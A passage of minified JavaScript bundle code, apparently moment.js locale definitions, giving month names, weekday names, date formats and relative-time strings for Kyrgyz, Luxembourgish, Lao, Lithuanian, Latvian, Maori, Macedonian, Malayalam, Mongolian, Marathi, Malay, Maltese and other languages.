t={0:"-чү",1:"-чи",2:"-чи",3:"-чү",4:"-чү",5:"-чи",6:"-чы",7:"-чи",8:"-чи",9:"-чу",10:"-чу",20:"-чы",30:"-чу",40:"-чы",50:"-чү",60:"-чы",70:"-чи",80:"-чи",90:"-чу",100:"-чү"};e.defineLocale("ky",{months:"январь_февраль_март_апрель_май_июнь_июль_август_сентябрь_октябрь_ноябрь_декабрь".split("_"),monthsShort:"янв_фев_март_апр_май_июнь_июль_авг_сен_окт_ноя_дек".split("_"),weekdays:"Жекшемби_Дүйшөмбү_Шейшемби_Шаршемби_Бейшемби_Жума_Ишемби".split("_"),weekdaysShort:"Жек_Дүй_Шей_Шар_Бей_Жум_Ише".split("_"),weekdaysMin:"Жк_Дй_Шй_Шр_Бй_Жм_Иш".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Бүгүн саат] LT",nextDay:"[Эртең саат] LT",nextWeek:"dddd [саат] LT",lastDay:"[Кечээ саат] LT",lastWeek:"[Өткөн аптанын] dddd [күнү] [саат] LT",sameElse:"L"},relativeTime:{future:"%s ичинде",past:"%s мурун",s:"бирнече секунд",ss:"%d секунд",m:"бир мүнөт",mm:"%d мүнөт",h:"бир саат",hh:"%d саат",d:"бир күн",dd:"%d күн",M:"бир ай",MM:"%d ай",y:"бир жыл",yy:"%d жыл"},dayOfMonthOrdinalParse:/\d{1,2}-(чи|чы|чү|чу)/,ordinal:function(e){var a=e%10,n=e>=100?100:null;return e+(t[e]||t[a]||t[n])},week:{dow:1,doy:7}})}(a(381))},6841:function(e,t,a){!function(e){"use strict";function t(e,t,a,n){var i={m:["eng Minutt","enger Minutt"],h:["eng Stonn","enger Stonn"],d:["een Dag","engem Dag"],M:["ee Mount","engem Mount"],y:["ee Joer","engem Joer"]};return t?i[a][0]:i[a][1]}function a(e){return i(e.substr(0,e.indexOf(" ")))?"a "+e:"an "+e}function n(e){return i(e.substr(0,e.indexOf(" ")))?"viru "+e:"virun "+e}function i(e){if(e=parseInt(e,10),isNaN(e))return!1;if(e<0)return!0;if(e<10)return 4<=e&&e<=7;if(e<100){var t=e%10;return i(0===t?e/10:t)}if(e<1e4){for(;e>=10;)e/=10;return i(e)}return i(e/=1e3)}e.defineLocale("lb",{months:"Januar_Februar_Mäerz_Abrëll_Mee_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"Jan._Febr._Mrz._Abr._Mee_Jun._Jul._Aug._Sept._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonndeg_Méindeg_Dënschdeg_Mëttwoch_Donneschdeg_Freideg_Samschdeg".split("_"),weekdaysShort:"So._Mé._Dë._Më._Do._Fr._Sa.".split("_"),weekdaysMin:"So_Mé_Dë_Më_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm [Auer]",LTS:"H:mm:ss [Auer]",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm [Auer]",LLLL:"dddd, D. MMMM YYYY H:mm [Auer]"},calendar:{sameDay:"[Haut um] LT",sameElse:"L",nextDay:"[Muer um] LT",nextWeek:"dddd [um] LT",lastDay:"[Gëschter um] LT",lastWeek:function(){switch(this.day()){case 2:case 4:return"[Leschten] dddd [um] LT";default:return"[Leschte] dddd [um] LT"}}},relativeTime:{future:a,past:n,s:"e puer Sekonnen",ss:"%d Sekonnen",m:t,mm:"%d Minutten",h:t,hh:"%d Stonnen",d:t,dd:"%d Deeg",M:t,MM:"%d Méint",y:t,yy:"%d Joer"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(a(381))},5466:function(e,t,a){!function(e){"use strict";e.defineLocale("lo",{months:"ມັງກອນ_ກຸມພາ_ມີນາ_ເມສາ_ພຶດສະພາ_ມິຖຸນາ_ກໍລະກົດ_ສິງຫາ_ກັນຍາ_ຕຸລາ_ພະຈິກ_ທັນວາ".split("_"),monthsShort:"ມັງກອນ_ກຸມພາ_ມີນາ_ເມສາ_ພຶດສະພາ_ມິຖຸນາ_ກໍລະກົດ_ສິງຫາ_ກັນຍາ_ຕຸລາ_ພະຈິກ_ທັນວາ".split("_"),weekdays:"ອາທິດ_ຈັນ_ອັງຄານ_ພຸດ_ພະຫັດ_ສຸກ_ເສົາ".split("_"),weekdaysShort:"ທິດ_ຈັນ_ອັງຄານ_ພຸດ_ພະຫັດ_ສຸກ_ເສົາ".split("_"),weekdaysMin:"ທ_ຈ_ອຄ_ພ_ພຫ_ສກ_ສ".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"ວັນdddd D MMMM YYYY HH:mm"},meridiemParse:/ຕອນເຊົ້າ|ຕອນແລງ/,isPM:function(e){return"ຕອນແລງ"===e},meridiem:function(e,t,a){return e<12?"ຕອນເຊົ້າ":"ຕອນແລງ"},calendar:{sameDay:"[ມື້ນີ້ເວລາ] LT",nextDay:"[ມື້ອື່ນເວລາ] LT",nextWeek:"[ວັນ]dddd[ໜ້າເວລາ] LT",lastDay:"[ມື້ວານນີ້ເວລາ] LT",lastWeek:"[ວັນ]dddd[ແລ້ວນີ້ເວລາ] LT",sameElse:"L"},relativeTime:{future:"ອີກ %s",past:"%sຜ່ານມາ",s:"ບໍ່ເທົ່າໃດວິນາທີ",ss:"%d ວິນາທີ",m:"1 ນາທີ",mm:"%d ນາທີ",h:"1 ຊົ່ວໂມງ",hh:"%d ຊົ່ວໂມງ",d:"1 ມື້",dd:"%d ມື້",M:"1 ເດືອນ",MM:"%d ເດືອນ",y:"1 ປີ",yy:"%d ປີ"},dayOfMonthOrdinalParse:/(ທີ່)\d{1,2}/,ordinal:function(e){return"ທີ່"+e}})}(a(381))},7010:function(e,t,a){!function(e){"use strict";var t={ss:"sekundė_sekundžių_sekundes",m:"minutė_minutės_minutę",mm:"minutės_minučių_minutes",h:"valanda_valandos_valandą",hh:"valandos_valandų_valandas",d:"diena_dienos_dieną",dd:"dienos_dienų_dienas",M:"mėnuo_mėnesio_mėnesį",MM:"mėnesiai_mėnesių_mėnesius",y:"metai_metų_metus",yy:"metai_metų_metus"};function a(e,t,a,n){return t?"kelios sekundės":n?"kelių sekundžių":"kelias sekundes"}function n(e,t,a,n){return t?r(a)[0]:n?r(a)[1]:r(a)[2]}function i(e){return e%10==0||e>10&&e<20}function r(e){return t[e].split("_")}function s(e,t,a,s){var o=e+" ";return 1===e?o+n(e,t,a[0],s):t?o+(i(e)?r(a)[1]:r(a)[0]):s?o+r(a)[1]:o+(i(e)?r(a)[1]:r(a)[2])}e.defineLocale("lt",{months:{format:"sausio_vasario_kovo_balandžio_gegužės_birželio_liepos_rugpjūčio_rugsėjo_spalio_lapkričio_gruodžio".split("_"),standalone:"sausis_vasaris_kovas_balandis_gegužė_birželis_liepa_rugpjūtis_rugsėjis_spalis_lapkritis_gruodis".split("_"),isFormat:/D[oD]?(\[[^\[\]]*\]|\s)+MMMM?|MMMM?(\[[^\[\]]*\]|\s)+D[oD]?/},monthsShort:"sau_vas_kov_bal_geg_bir_lie_rgp_rgs_spa_lap_grd".split("_"),weekdays:{format:"sekmadienį_pirmadienį_antradienį_trečiadienį_ketvirtadienį_penktadienį_šeštadienį".split("_"),standalone:"sekmadienis_pirmadienis_antradienis_trečiadienis_ketvirtadienis_penktadienis_šeštadienis".split("_"),isFormat:/dddd HH:mm/},weekdaysShort:"Sek_Pir_Ant_Tre_Ket_Pen_Šeš".split("_"),weekdaysMin:"S_P_A_T_K_Pn_Š".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"YYYY [m.] MMMM D [d.]",LLL:"YYYY [m.] MMMM D [d.], HH:mm [val.]",LLLL:"YYYY [m.] MMMM D [d.], dddd, HH:mm [val.]",l:"YYYY-MM-DD",ll:"YYYY [m.] MMMM D [d.]",lll:"YYYY [m.] MMMM D [d.], HH:mm [val.]",llll:"YYYY [m.] MMMM D [d.], ddd, HH:mm [val.]"},calendar:{sameDay:"[Šiandien] LT",nextDay:"[Rytoj] LT",nextWeek:"dddd LT",lastDay:"[Vakar] LT",lastWeek:"[Praėjusį] dddd LT",sameElse:"L"},relativeTime:{future:"po %s",past:"prieš %s",s:a,ss:s,m:n,mm:s,h:n,hh:s,d:n,dd:s,M:n,MM:s,y:n,yy:s},dayOfMonthOrdinalParse:/\d{1,2}-oji/,ordinal:function(e){return e+"-oji"},week:{dow:1,doy:4}})}(a(381))},7595:function(e,t,a){!function(e){"use strict";var t={ss:"sekundes_sekundēm_sekunde_sekundes".split("_"),m:"minūtes_minūtēm_minūte_minūtes".split("_"),mm:"minūtes_minūtēm_minūte_minūtes".split("_"),h:"stundas_stundām_stunda_stundas".split("_"),hh:"stundas_stundām_stunda_stundas".split("_"),d:"dienas_dienām_diena_dienas".split("_"),dd:"dienas_dienām_diena_dienas".split("_"),M:"mēneša_mēnešiem_mēnesis_mēneši".split("_"),MM:"mēneša_mēnešiem_mēnesis_mēneši".split("_"),y:"gada_gadiem_gads_gadi".split("_"),yy:"gada_gadiem_gads_gadi".split("_")};function a(e,t,a){return a?t%10==1&&t%100!=11?e[2]:e[3]:t%10==1&&t%100!=11?e[0]:e[1]}function n(e,n,i){return e+" "+a(t[i],e,n)}function i(e,n,i){return a(t[i],e,n)}function r(e,t){return t?"dažas sekundes":"dažām sekundēm"}e.defineLocale("lv",{months:"janvāris_februāris_marts_aprīlis_maijs_jūnijs_jūlijs_augusts_septembris_oktobris_novembris_decembris".split("_"),monthsShort:"jan_feb_mar_apr_mai_jūn_jūl_aug_sep_okt_nov_dec".split("_"),weekdays:"svētdiena_pirmdiena_otrdiena_trešdiena_ceturtdiena_piektdiena_sestdiena".split("_"),weekdaysShort:"Sv_P_O_T_C_Pk_S".split("_"),weekdaysMin:"Sv_P_O_T_C_Pk_S".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY.",LL:"YYYY. [gada] D. MMMM",LLL:"YYYY. [gada] D. MMMM, HH:mm",LLLL:"YYYY. [gada] D. MMMM, dddd, HH:mm"},calendar:{sameDay:"[Šodien pulksten] LT",nextDay:"[Rīt pulksten] LT",nextWeek:"dddd [pulksten] LT",lastDay:"[Vakar pulksten] LT",lastWeek:"[Pagājušā] dddd [pulksten] LT",sameElse:"L"},relativeTime:{future:"pēc %s",past:"pirms %s",s:r,ss:n,m:i,mm:n,h:i,hh:n,d:i,dd:n,M:i,MM:n,y:i,yy:n},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(a(381))},9861:function(e,t,a){!function(e){"use strict";var t={words:{ss:["sekund","sekunda","sekundi"],m:["jedan minut","jednog minuta"],mm:["minut","minuta","minuta"],h:["jedan sat","jednog sata"],hh:["sat","sata","sati"],dd:["dan","dana","dana"],MM:["mjesec","mjeseca","mjeseci"],yy:["godina","godine","godina"]},correctGrammaticalCase:function(e,t){return 1===e?t[0]:e>=2&&e<=4?t[1]:t[2]},translate:function(e,a,n){var i=t.words[n];return 1===n.length?a?i[0]:i[1]:e+" "+t.correctGrammaticalCase(e,i)}};e.defineLocale("me",{months:"januar_februar_mart_april_maj_jun_jul_avgust_septembar_oktobar_novembar_decembar".split("_"),monthsShort:"jan._feb._mar._apr._maj_jun_jul_avg._sep._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"nedjelja_ponedjeljak_utorak_srijeda_četvrtak_petak_subota".split("_"),weekdaysShort:"ned._pon._uto._sri._čet._pet._sub.".split("_"),weekdaysMin:"ne_po_ut_sr_če_pe_su".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd, D. MMMM YYYY H:mm"},calendar:{sameDay:"[danas u] LT",nextDay:"[sjutra u] LT",nextWeek:function(){switch(this.day()){case 0:return"[u] [nedjelju] [u] LT";case 3:return"[u] [srijedu] [u] LT";case 6:return"[u] [subotu] [u] LT";case 1:case 2:case 4:case 5:return"[u] dddd [u] LT"}},lastDay:"[juče u] LT",lastWeek:function(){return["[prošle] [nedjelje] [u] LT","[prošlog] [ponedjeljka] [u] LT","[prošlog] [utorka] [u] LT","[prošle] [srijede] [u] LT","[prošlog] [četvrtka] [u] LT","[prošlog] [petka] [u] LT","[prošle] [subote] [u] LT"][this.day()]},sameElse:"L"},relativeTime:{future:"za %s",past:"prije %s",s:"nekoliko sekundi",ss:t.translate,m:t.translate,mm:t.translate,h:t.translate,hh:t.translate,d:"dan",dd:t.translate,M:"mjesec",MM:t.translate,y:"godinu",yy:t.translate},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(a(381))},5493:function(e,t,a){!function(e){"use strict";e.defineLocale("mi",{months:"Kohi-tāte_Hui-tanguru_Poutū-te-rangi_Paenga-whāwhā_Haratua_Pipiri_Hōngoingoi_Here-turi-kōkā_Mahuru_Whiringa-ā-nuku_Whiringa-ā-rangi_Hakihea".split("_"),monthsShort:"Kohi_Hui_Pou_Pae_Hara_Pipi_Hōngoi_Here_Mahu_Whi-nu_Whi-ra_Haki".split("_"),monthsRegex:/(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i,monthsStrictRegex:/(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i,monthsShortRegex:/(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i,monthsShortStrictRegex:/(?:['a-z\u0101\u014D\u016B]+\-?){1,2}/i,weekdays:"Rātapu_Mane_Tūrei_Wenerei_Tāite_Paraire_Hātarei".split("_"),weekdaysShort:"Ta_Ma_Tū_We_Tāi_Pa_Hā".split("_"),weekdaysMin:"Ta_Ma_Tū_We_Tāi_Pa_Hā".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [i] HH:mm",LLLL:"dddd, D MMMM YYYY [i] HH:mm"},calendar:{sameDay:"[i teie mahana, i] LT",nextDay:"[apopo i] LT",nextWeek:"dddd [i] LT",lastDay:"[inanahi i] LT",lastWeek:"dddd [whakamutunga i] LT",sameElse:"L"},relativeTime:{future:"i roto i %s",past:"%s i mua",s:"te hēkona ruarua",ss:"%d hēkona",m:"he meneti",mm:"%d meneti",h:"te haora",hh:"%d haora",d:"he ra",dd:"%d ra",M:"he marama",MM:"%d marama",y:"he tau",yy:"%d tau"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(a(381))},5966:function(e,t,a){!function(e){"use strict";e.defineLocale("mk",{months:"јануари_февруари_март_април_мај_јуни_јули_август_септември_октомври_ноември_декември".split("_"),monthsShort:"јан_фев_мар_апр_мај_јун_јул_авг_сеп_окт_ное_дек".split("_"),weekdays:"недела_понеделник_вторник_среда_четврток_петок_сабота".split("_"),weekdaysShort:"нед_пон_вто_сре_чет_пет_саб".split("_"),weekdaysMin:"нe_пo_вт_ср_че_пе_сa".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"D.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY H:mm",LLLL:"dddd, D MMMM YYYY H:mm"},calendar:{sameDay:"[Денес во] LT",nextDay:"[Утре во] LT",nextWeek:"[Во] dddd [во] LT",lastDay:"[Вчера во] LT",lastWeek:function(){switch(this.day()){case 0:case 3:case 6:return"[Изминатата] dddd [во] LT";case 1:case 2:case 4:case 5:return"[Изминатиот] dddd [во] LT"}},sameElse:"L"},relativeTime:{future:"за %s",past:"пред %s",s:"неколку секунди",ss:"%d секунди",m:"една минута",mm:"%d минути",h:"еден час",hh:"%d часа",d:"еден ден",dd:"%d дена",M:"еден месец",MM:"%d месеци",y:"една година",yy:"%d години"},dayOfMonthOrdinalParse:/\d{1,2}-(ев|ен|ти|ви|ри|ми)/,ordinal:function(e){var t=e%10,a=e%100;return 0===e?e+"-ев":0===a?e+"-ен":a>10&&a<20?e+"-ти":1===t?e+"-ви":2===t?e+"-ри":7===t||8===t?e+"-ми":e+"-ти"},week:{dow:1,doy:7}})}(a(381))},7341:function(e,t,a){!function(e){"use strict";e.defineLocale("ml",{months:"ജനുവരി_ഫെബ്രുവരി_മാർച്ച്_ഏപ്രിൽ_മേയ്_ജൂൺ_ജൂലൈ_ഓഗസ്റ്റ്_സെപ്റ്റംബർ_ഒക്ടോബർ_നവംബർ_ഡിസംബർ".split("_"),monthsShort:"ജനു._ഫെബ്രു._മാർ._ഏപ്രി._മേയ്_ജൂൺ_ജൂലൈ._ഓഗ._സെപ്റ്റ._ഒക്ടോ._നവം._ഡിസം.".split("_"),monthsParseExact:!0,weekdays:"ഞായറാഴ്ച_തിങ്കളാഴ്ച_ചൊവ്വാഴ്ച_ബുധനാഴ്ച_വ്യാഴാഴ്ച_വെള്ളിയാഴ്ച_ശനിയാഴ്ച".split("_"),weekdaysShort:"ഞായർ_തിങ്കൾ_ചൊവ്വ_ബുധൻ_വ്യാഴം_വെള്ളി_ശനി".split("_"),weekdaysMin:"ഞാ_തി_ചൊ_ബു_വ്യാ_വെ_ശ".split("_"),longDateFormat:{LT:"A h:mm -നു",LTS:"A h:mm:ss -നു",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm -നു",LLLL:"dddd, D MMMM YYYY, A h:mm -നു"},calendar:{sameDay:"[ഇന്ന്] LT",nextDay:"[നാളെ] LT",nextWeek:"dddd, LT",lastDay:"[ഇന്നലെ] LT",lastWeek:"[കഴിഞ്ഞ] dddd, LT",sameElse:"L"},relativeTime:{future:"%s കഴിഞ്ഞ്",past:"%s മുൻപ്",s:"അൽപ നിമിഷങ്ങൾ",ss:"%d സെക്കൻഡ്",m:"ഒരു മിനിറ്റ്",mm:"%d മിനിറ്റ്",h:"ഒരു മണിക്കൂർ",hh:"%d മണിക്കൂർ",d:"ഒരു ദിവസം",dd:"%d ദിവസം",M:"ഒരു മാസം",MM:"%d മാസം",y:"ഒരു വർഷം",yy:"%d വർഷം"},meridiemParse:/രാത്രി|രാവിലെ|ഉച്ച കഴിഞ്ഞ്|വൈകുന്നേരം|രാത്രി/i,meridiemHour:function(e,t){return 12===e&&(e=0),"രാത്രി"===t&&e>=4||"ഉച്ച കഴിഞ്ഞ്"===t||"വൈകുന്നേരം"===t?e+12:e},meridiem:function(e,t,a){return e<4?"രാത്രി":e<12?"രാവിലെ":e<17?"ഉച്ച കഴിഞ്ഞ്":e<20?"വൈകുന്നേരം":"രാത്രി"}})}(a(381))},5115:function(e,t,a){!function(e){"use strict";function t(e,t,a,n){switch(a){case"s":return t?"хэдхэн секунд":"хэдхэн секундын";case"ss":return e+(t?" секунд":" секундын");case"m":case"mm":return e+(t?" минут":" минутын");case"h":case"hh":return e+(t?" цаг":" цагийн");case"d":case"dd":return e+(t?" өдөр":" өдрийн");case"M":case"MM":return e+(t?" сар":" сарын");case"y":case"yy":return e+(t?" жил":" жилийн");default:return e}}e.defineLocale("mn",{months:"Нэгдүгээр сар_Хоёрдугаар сар_Гуравдугаар сар_Дөрөвдүгээр сар_Тавдугаар сар_Зургадугаар сар_Долдугаар сар_Наймдугаар сар_Есдүгээр сар_Аравдугаар сар_Арван нэгдүгээр сар_Арван хоёрдугаар сар".split("_"),monthsShort:"1 сар_2 сар_3 сар_4 сар_5 сар_6 сар_7 сар_8 сар_9 сар_10 сар_11 сар_12 сар".split("_"),monthsParseExact:!0,weekdays:"Ням_Даваа_Мягмар_Лхагва_Пүрэв_Баасан_Бямба".split("_"),weekdaysShort:"Ням_Дав_Мяг_Лха_Пүр_Баа_Бям".split("_"),weekdaysMin:"Ня_Да_Мя_Лх_Пү_Ба_Бя".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"YYYY оны MMMMын D",LLL:"YYYY оны MMMMын D HH:mm",LLLL:"dddd, YYYY оны MMMMын D HH:mm"},meridiemParse:/ҮӨ|ҮХ/i,isPM:function(e){return"ҮХ"===e},meridiem:function(e,t,a){return e<12?"ҮӨ":"ҮХ"},calendar:{sameDay:"[Өнөөдөр] LT",nextDay:"[Маргааш] LT",nextWeek:"[Ирэх] dddd LT",lastDay:"[Өчигдөр] LT",lastWeek:"[Өнгөрсөн] dddd LT",sameElse:"L"},relativeTime:{future:"%s дараа",past:"%s өмнө",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2} өдөр/,ordinal:function(e,t){switch(t){case"d":case"D":case"DDD":return e+" өдөр";default:return e}}})}(a(381))},370:function(e,t,a){!function(e){"use strict";var t={1:"१",2:"२",3:"३",4:"४",5:"५",6:"६",7:"७",8:"८",9:"९",0:"०"},a={"१":"1","२":"2","३":"3","४":"4","५":"5","६":"6","७":"7","८":"8","९":"9","०":"0"};function n(e,t,a,n){var i="";if(t)switch(a){case"s":i="काही सेकंद";break;case"ss":i="%d सेकंद";break;case"m":i="एक मिनिट";break;case"mm":i="%d मिनिटे";break;case"h":i="एक तास";break;case"hh":i="%d तास";break;case"d":i="एक दिवस";break;case"dd":i="%d दिवस";break;case"M":i="एक महिना";break;case"MM":i="%d महिने";break;case"y":i="एक वर्ष";break;case"yy":i="%d वर्षे"}else switch(a){case"s":i="काही सेकंदां";break;case"ss":i="%d सेकंदां";break;case"m":i="एका मिनिटा";break;case"mm":i="%d मिनिटां";break;case"h":i="एका तासा";break;case"hh":i="%d तासां";break;case"d":i="एका दिवसा";break;case"dd":i="%d दिवसां";break;case"M":i="एका महिन्या";break;case"MM":i="%d महिन्यां";break;case"y":i="एका वर्षा";break;case"yy":i="%d वर्षां"}return i.replace(/%d/i,e)}e.defineLocale("mr",{months:"जानेवारी_फेब्रुवारी_मार्च_एप्रिल_मे_जून_जुलै_ऑगस्ट_सप्टेंबर_ऑक्टोबर_नोव्हेंबर_डिसेंबर".split("_"),monthsShort:"जाने._फेब्रु._मार्च._एप्रि._मे._जून._जुलै._ऑग._सप्टें._ऑक्टो._नोव्हें._डिसें.".split("_"),monthsParseExact:!0,weekdays:"रविवार_सोमवार_मंगळवार_बुधवार_गुरूवार_शुक्रवार_शनिवार".split("_"),weekdaysShort:"रवि_सोम_मंगळ_बुध_गुरू_शुक्र_शनि".split("_"),weekdaysMin:"र_सो_मं_बु_गु_शु_श".split("_"),longDateFormat:{LT:"A h:mm वाजता",LTS:"A h:mm:ss वाजता",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm वाजता",LLLL:"dddd, D MMMM YYYY, A h:mm वाजता"},calendar:{sameDay:"[आज] LT",nextDay:"[उद्या] LT",nextWeek:"dddd, LT",lastDay:"[काल] LT",lastWeek:"[मागील] dddd, LT",sameElse:"L"},relativeTime:{future:"%sमध्ये",past:"%sपूर्वी",s:n,ss:n,m:n,mm:n,h:n,hh:n,d:n,dd:n,M:n,MM:n,y:n,yy:n},preparse:function(e){return e.replace(/[१२३४५६७८९०]/g,(function(e){return a[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/पहाटे|सकाळी|दुपारी|सायंकाळी|रात्री/,meridiemHour:function(e,t){return 12===e&&(e=0),"पहाटे"===t||"सकाळी"===t?e:"दुपारी"===t||"सायंकाळी"===t||"रात्री"===t?e>=12?e:e+12:void 0},meridiem:function(e,t,a){return e>=0&&e<6?"पहाटे":e<12?"सकाळी":e<17?"दुपारी":e<20?"सायंकाळी":"रात्री"},week:{dow:0,doy:6}})}(a(381))},1237:function(e,t,a){!function(e){"use strict";e.defineLocale("ms-my",{months:"Januari_Februari_Mac_April_Mei_Jun_Julai_Ogos_September_Oktober_November_Disember".split("_"),monthsShort:"Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ogs_Sep_Okt_Nov_Dis".split("_"),weekdays:"Ahad_Isnin_Selasa_Rabu_Khamis_Jumaat_Sabtu".split("_"),weekdaysShort:"Ahd_Isn_Sel_Rab_Kha_Jum_Sab".split("_"),weekdaysMin:"Ah_Is_Sl_Rb_Km_Jm_Sb".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [pukul] HH.mm",LLLL:"dddd, D MMMM YYYY [pukul] HH.mm"},meridiemParse:/pagi|tengahari|petang|malam/,meridiemHour:function(e,t){return 12===e&&(e=0),"pagi"===t?e:"tengahari"===t?e>=11?e:e+12:"petang"===t||"malam"===t?e+12:void 0},meridiem:function(e,t,a){return e<11?"pagi":e<15?"tengahari":e<19?"petang":"malam"},calendar:{sameDay:"[Hari ini pukul] LT",nextDay:"[Esok pukul] LT",nextWeek:"dddd [pukul] LT",lastDay:"[Kelmarin pukul] LT",lastWeek:"dddd [lepas pukul] LT",sameElse:"L"},relativeTime:{future:"dalam %s",past:"%s yang lepas",s:"beberapa saat",ss:"%d saat",m:"seminit",mm:"%d minit",h:"sejam",hh:"%d jam",d:"sehari",dd:"%d hari",M:"sebulan",MM:"%d bulan",y:"setahun",yy:"%d tahun"},week:{dow:1,doy:7}})}(a(381))},9847:function(e,t,a){!function(e){"use strict";e.defineLocale("ms",{months:"Januari_Februari_Mac_April_Mei_Jun_Julai_Ogos_September_Oktober_November_Disember".split("_"),monthsShort:"Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ogs_Sep_Okt_Nov_Dis".split("_"),weekdays:"Ahad_Isnin_Selasa_Rabu_Khamis_Jumaat_Sabtu".split("_"),weekdaysShort:"Ahd_Isn_Sel_Rab_Kha_Jum_Sab".split("_"),weekdaysMin:"Ah_Is_Sl_Rb_Km_Jm_Sb".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [pukul] HH.mm",LLLL:"dddd, D MMMM YYYY [pukul] HH.mm"},meridiemParse:/pagi|tengahari|petang|malam/,meridiemHour:function(e,t){return 12===e&&(e=0),"pagi"===t?e:"tengahari"===t?e>=11?e:e+12:"petang"===t||"malam"===t?e+12:void 0},meridiem:function(e,t,a){return e<11?"pagi":e<15?"tengahari":e<19?"petang":"malam"},calendar:{sameDay:"[Hari ini pukul] LT",nextDay:"[Esok pukul] LT",nextWeek:"dddd [pukul] LT",lastDay:"[Kelmarin pukul] LT",lastWeek:"dddd [lepas pukul] LT",sameElse:"L"},relativeTime:{future:"dalam %s",past:"%s yang lepas",s:"beberapa saat",ss:"%d saat",m:"seminit",mm:"%d minit",h:"sejam",hh:"%d jam",d:"sehari",dd:"%d hari",M:"sebulan",MM:"%d bulan",y:"setahun",yy:"%d tahun"},week:{dow:1,doy:7}})}(a(381))},2126:function(e,t,a){!function(e){"use strict";e.defineLocale("mt",{months:"Jannar_Frar_Marzu_April_Mejju_Ġunju_Lulju_Awwissu_Settembru_Ottubru_Novembru_Diċembru".split("_"),monthsShort:"Jan_Fra_Mar_Apr_Mej_Ġun_Lul_Aww_Set_Ott_Nov_Diċ".split("_"),weekdays:"Il-Ħadd_It-Tnejn_It-Tlieta_L-Erbgħa_Il-Ħamis_Il-Ġimgħa_Is-Sibt".split("_"),weekdaysShort:"Ħad_Tne_Tli_Erb_Ħam_Ġim_Sib".split("_"),weekdaysMin:"Ħa_Tn_Tl_Er_Ħa_Ġi_Si".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Illum fil-]LT",nextDay:"[Għada fil-]LT",nextWeek:"dddd [fil-]LT",lastDay:"[Il-bieraħ fil-]LT",lastWeek:"dddd [li għadda] [fil-]LT",sameElse:"L"},relativeTime:{future:"f’ %s",past:"%s ilu",s:"ftit sekondi",ss:"%d sekondi",m:"minuta",mm:"%d minuti",h:"siegħa",hh:"%d siegħat",d:"ġurnata",dd:"%d ġranet",M:"xahar",MM:"%d xhur",y:"sena",yy:"%d sni"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(a(381))},6165:function(e,t,a){!function(e){"use strict";var 